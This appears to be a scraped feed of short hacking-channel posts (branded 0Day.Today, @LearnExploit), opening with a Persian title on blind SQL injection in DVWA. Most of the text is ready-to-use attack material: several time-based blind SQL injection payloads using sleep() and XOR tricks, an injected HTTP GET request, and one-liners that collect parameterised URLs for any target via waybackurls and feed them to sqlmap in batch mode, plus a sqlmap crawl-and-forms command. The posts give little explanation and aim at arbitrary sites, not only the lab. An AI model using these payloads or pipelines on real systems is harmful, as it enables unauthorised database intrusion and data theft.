آموزش Blind Sql injection در محیط Dvwa

#sql_injection #sql #dvwa

iliyahr
——————⁧
0Day.Today
@LearnExploit
@Tech_Army

#sql_injection #sql #dvwa

iliyahr
——————⁧
0Day.Today
@LearnExploit
@Tech_Army

Time sleep sql injection ⚡️

Payload: 'XOR(if(now()=sysdate(),sleep(33),0))OR'

#sql #sql_injection #payload
——————
0Day.Today
@LearnExploit
@Tech_Army

sql injection payload

14)%20AND%20(SELECT%207415%20FROM%20(SELECT(SLEEP(10)))CwkU)%20AND%20(7515=7515

#sql #sql_injection
——————
0Day.Today
@LearnExploit
@Tech_Army

SQL Injection

GET 
/0"XOR(if(now()=sysdate(),sleep(6),0))XOR"Z/Folder/
 HTTP/1.1

#sql_injection
——————
0Day.Today
@LearnExploit
@Tech_Army

Sql Injection Payload

Payload : 0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z

#Payload #sql_injection
——————
0Day.Today
@LearnExploit
@Tech_Army

Blind SQL Injection payload

if(now()=sysdate()%2Csleep(10)%2C0)

#Sql #sql_injection #Payload
——————
0Day.Today
@LearnExploit
@Tech_Army

SQLMap from Waybackurls ⚡️

waybackurls target | grep -E '\bhttps?://\S+?=\S+' | grep -E '\.php|\.asp' | sort -u | sed 's/\(=[^&]*\)/=/g' | tee urls.txt | sort -u -o urls.txt && cat urls.txt | xargs -I{} sqlmap --technique=T --batch -u "{}"

#sql #sql_injection #tip
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Do you know that sqlmap has its own crawler? Run in the background easily:

sqlmap -u 'https://target\.com' --crawl=3 --random-agent --batch --forms --threads=5 --hostname --timeout=15 --retries=1 --time-sec 12

#sql #sql_injection
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Time based SQL Injection using waybackurls

waybackurls TARGET.COM | grep -E '\bhttps?://\S+?=\S+' | grep -E '\.php|\.asp' | sort -u | sed 's/\(=[^&]*\)/=/g' | tee urls.txt | sort -u -o urls.txt

#sql_injection #sql #tip
——————‌
0Day.Today
@LearnExploit
@Tech_Army